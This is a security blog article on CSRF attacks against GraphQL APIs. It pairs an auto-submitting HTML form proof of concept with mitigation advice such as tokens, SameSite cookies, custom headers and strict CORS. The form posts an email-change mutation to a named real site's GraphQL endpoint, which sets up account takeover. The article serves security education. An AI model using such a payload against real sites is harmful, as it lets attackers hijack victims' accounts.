Exploiting CSRF in GraphQL Applications
If you haven’t sent me a LinkedIn request yet, send me a request I would love to work with you and do a collab! I will start writing articles more often, stay tuned!
Intro
Cross-Site Request Forgery (CSRF) is a well-known web vulnerability that allows attackers to execute unauthorized actions on behalf of authenticated users. While CSRF is commonly associated with traditional web applications, GraphQL APIs are also susceptible to CSRF attacks under certain conditions.
This article will walk you through:
- The fundamentals of CSRF.
- How GraphQL can be exploited using CSRF.
- A CSRF PoC to exploit a vulnerable GraphQL API.
- The most common cases of CSRF and how to prevent them.
Understanding CSRF
CSRF occurs when an attacker forces an authenticated user to send an unintended request to a web application. Since the request is automatically authenticated via cookies, the action is performed as if the user had initiated it themselves.
Common Applications Vulnerable to CSRF
- Banking and Financial Apps — Transferring funds, changing user settings.
- E-commerce Sites — Modifying user information, adding/removing items from carts.
- Social Media Platforms — Sending messages, changing profile information.
- Admin Panels & CMS — Modifying users, changing security settings.
- GraphQL APIs — Changing email, passwords, or other sensitive information.
Exploiting GraphQL CSRF
Unlike traditional REST APIs, GraphQL accepts complex queries in JSON format, often requiring Content-Type: application/json. However, if the GraphQL endpoint does not implement CSRF protections such as CSRF tokens or SameSite cookie policies, attackers can still abuse authenticated users.
The GraphQL CSRF Proof-of-Concept (PoC)
Below is an HTML CSRF attack that attempts to change the email address of an authenticated user.
<!DOCTYPE html>
<html>
<body>
<form id="csrfForm" action="https://indeed.com/graphql/v1" method="POST">
<input type="hidden" name="query" value="
mutation changeEmail($input: ChangeEmailInput!) {
changeEmail(input: $input) {
email
}
}
">
<input type="hidden" name="operationName" value="changeEmail">
<input type="hidden" name="variables" value='{"input":{"email":"hacker@hackerone.com"}}'>
</form>
<script>
document.getElementById("csrfForm").submit(); // Auto-submit when victim visits the page
</script>
</body>
</html>How This Works
- An authenticated user visits the attacker’s webpage.
- The form auto-submits, sending a POST request to the target GraphQL API.
- Since the user is already authenticated, their browser includes their session cookies.
- If no CSRF protections are in place, the attack successfully changes the email.
Why Some GraphQL APIs Are Vulnerable to CSRF
- They rely solely on cookies for authentication — When the browser sends requests with stored cookies, CSRF can be exploited.
- They don’t implement CSRF tokens — No
X-CSRF-Tokenmeans no verification that the request originated from a legitimate page. - They allow cross-origin requests — If
Access-Control-Allow-Origin: *is set, CORS protections are ineffective. - They don’t enforce
SameSiteattributes on cookies –SameSite=Nonecookies allow cross-site requests.
Mitigation Strategies
To prevent CSRF attacks in GraphQL APIs, developers should implement the following best practices:
1. Use CSRF Tokens
Require a unique token in each request and validate it on the server.
2. Implement SameSite Cookies
Set cookies with:
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=StrictThis prevents cookies from being sent in cross-site requests.
3. Require Custom Headers for API Requests
GraphQL APIs should enforce the presence of a custom header:
X-Requested-With: XMLHttpRequestThis prevents requests from being sent via simple HTML forms.
4. Use CORS with Credential Restrictions
Limit cross-origin access with strict CORS policies:
Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Credentials: trueThis ensures that only trusted origins can send authenticated requests.
5. Implement User Authentication Re-verification
For sensitive actions like changing emails or passwords, require the user to re-enter their password.
CSRF vulnerabilities in GraphQL APIs are real and exploitable if proper security measures are not in place. Attackers can abuse this flaw to modify user data, change security settings, or take over accounts. By understanding the risks and applying robust defenses, developers can protect their applications from such attacks.
Stay ethical, stay sharp — your skills can make a difference.
